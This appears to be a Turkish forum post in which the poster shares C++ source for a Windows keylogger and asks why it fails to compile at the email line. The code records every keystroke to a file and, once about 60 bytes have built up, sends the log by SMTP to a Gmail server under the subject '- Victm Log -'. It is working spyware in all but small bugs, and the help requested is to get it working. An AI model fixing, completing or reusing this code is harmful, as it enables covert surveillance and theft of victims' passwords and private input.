c++ Email yardımm ! - C ve C++

#include <stdio.h>
#include <windows.h>

#define KEY_PRESSED -32767

FILE *file;

void sendEmail (char *server, char *to, char *from, char *subject, char *message);

int main(int argc, char *argv[])  {
char key;

int index;
int length;
char *buffer;

file = fopen("Keylogger.txt", "a+");

if(file != NULL) {
while(true) {
Sleep(10);
for(key = 8; key <= 255; key++) {
file = fopen("Keylogger.txt", "a+");

if(GetAsyncKeyState(key) == KEY_PRESSED) {
switch(key) {
case VK_SPACE:
fprintf(file, " ");
break;
case VK_SHIFT:
fprintf(file, "\n[SHIFT]\n");
break;
case VK_RETURN:
fprintf(file, "\n[ENTER]\n");
break;
case VK_BACK:
fprintf(file, "\n[BACKSPACE]\n");
break;
case VK_CAPITAL:
fprintf(file, "\n[CAPSLOCK]\n");
break;
case VK_RBUTTON:
fprintf(file, "\n[RBUTTON]\n");
break;
case VK_LBUTTON:
fprintf(file, "\n[LBUTTON]\n");
break;
case 10:
fprintf(file, ",");
      break;
case 11:
fprintf(file, ".");
break;

default:
fprintf(file, "%c", key);
      break;

}
} fclose(file);
}

      file = fopen("Keylogger.txt", "rb");
fseek(file, 0, SEEK_END);
length = ftell(file);

if (length >= 60) {
   fseek(file, 0, SEEK_SET);
   buffer = (char*)malloc(length);
   index = fread(buffer, 1, length, file);
   buffer[index] = '\0';
   sendEmail("smtp.gmail.com", "...gmail.com", "...gmail.com", "- Victm Log -" buffer);

   fclose(file);
   file = fopen("Keylogger.txt", "w");
} fclose(file);
}
}

return 0;
}

void sendEmail(char *server, char *to, char *from, char *subject, char *message) {
SOCKET sockfd;
WSADATA wsaData;
hostent *host;
sockaddr_in dest;

int sent;
char line[200];

if(WSAStartup(0x202, &wsaData) != SOCKET_ERROR) {
if((host = gethostbyname(server)) != NULL) {
// set memory........
memset (&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);
// prepare destination.......

dest.sin_family = host->h_addrtype;
dest.sin_port = htons (25);

//get socket......
sockfd = socket(AF_INET, SOCK_STREAM, 0);

//connect......
connect(sockfd, (struct sockaddr*)&dest, sizeof(dest));

// send command lines.......
      strcpy(line, "helo me.someplace.com\n");
      sent = send(sockfd, line, strlen(line), 0);
      Sleep(500);

      strcpy(line, "MAİL FROM:<");
      strncat(line, from, strlen(from));
      strncat(line, ">\n", 3);
      sent = send(sockfd, line, strlen(line), 0);
      Sleep(500);

      strcpy(line, "RCPT TO:<");
      strncat(line, to,strlen(to));
      strncat(line, ">\n", 3);
      sent = send(sockfd, line, strlen(line), 0);
         Sleep(500);

strcpy(line, "DATA\n");
sent = send(sockfd, line, strlen(line), 0);
Sleep(500);

strcpy(line, "To");
strcat(line, to);
strcat(line, "\n");
strcat(line, "From:");
strcat(line, from);
strcat(line, "\n");
strcat(line, "Subject");
strcat(line, subject);
strcat(line, "\n");
strcat(line, message);
strcat(line, "\r\n. \r\n");
sent = send(sockfd, line, strlen(line), 0);
Sleep(500);

strcpy(line, "quit\n");
sent = send(sockfd, line, strlen(line), 0);
Sleep(500);
}
}

//close socket and wsdata......
closesocket(sockfd);
WSACleanup();

}

--kodlarım bunlar c++ 'ta derlediğim zaman mailim yazılıyken orda bi hata buluyo 2 gündür uğraşıyorum bir türlü çözemedim nerde yanlış yaptım destek olursanız sevinirim.. Teşekkürler!